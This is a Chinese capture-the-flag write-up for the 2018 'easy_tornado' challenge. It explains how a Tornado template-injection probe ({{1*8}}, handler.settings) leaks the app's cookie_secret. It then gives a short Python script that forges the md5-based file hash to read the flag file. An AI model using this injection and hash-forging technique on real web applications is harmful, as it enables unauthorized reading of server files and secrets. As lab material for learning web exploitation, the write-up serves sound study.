[护网杯 2018]easy_tornado
打开看到三个链接,点进去得到
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
观察url:/file?filename=/hints.txt&filehash=97970eaa14bde18232faca654f4c19e8
前面是文件地址后面是对应加密,接下来要拿到cookie_secret
搜索render没找到线索,根据题目搜索tornado得知这是一个web框架
然后搜索tornado render找到一篇关于python SSTI tornado render模板注入的博客
博客地址
https://blog.csdn.net/qq_45951598/article/details/111312370
得到线索在tornado模板中,存在一些可以访问的快速对象,例如
{{ escape(hander.settings[“cookie”]) }}这个handler.settings对象
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret
然后找注入点,先尝试filename,发现报错
file?filename={{1*8}}

然后尝试msg参数,发现被拦截

说明这里的确有注入

然后让ai写个脚本
import hashlib
cookie_secret = '7d317c0d-3c76-40bb-9488-99773ff71739'
filename1 = '/fllllllllllllag'
# 计算 filename1 的 MD5
md5_filename1 = hashlib.md5(filename1.encode()).hexdigest()
# 计算 cookie_secret + md5(filename1) 的 MD5
combined = cookie_secret + md5_filename1
final_md5 = hashlib.md5(combined.encode(encoding="UTF-8")).hexdigest()
print(final_md5)
拼接拿到flag


浙公网安备 33010602011771号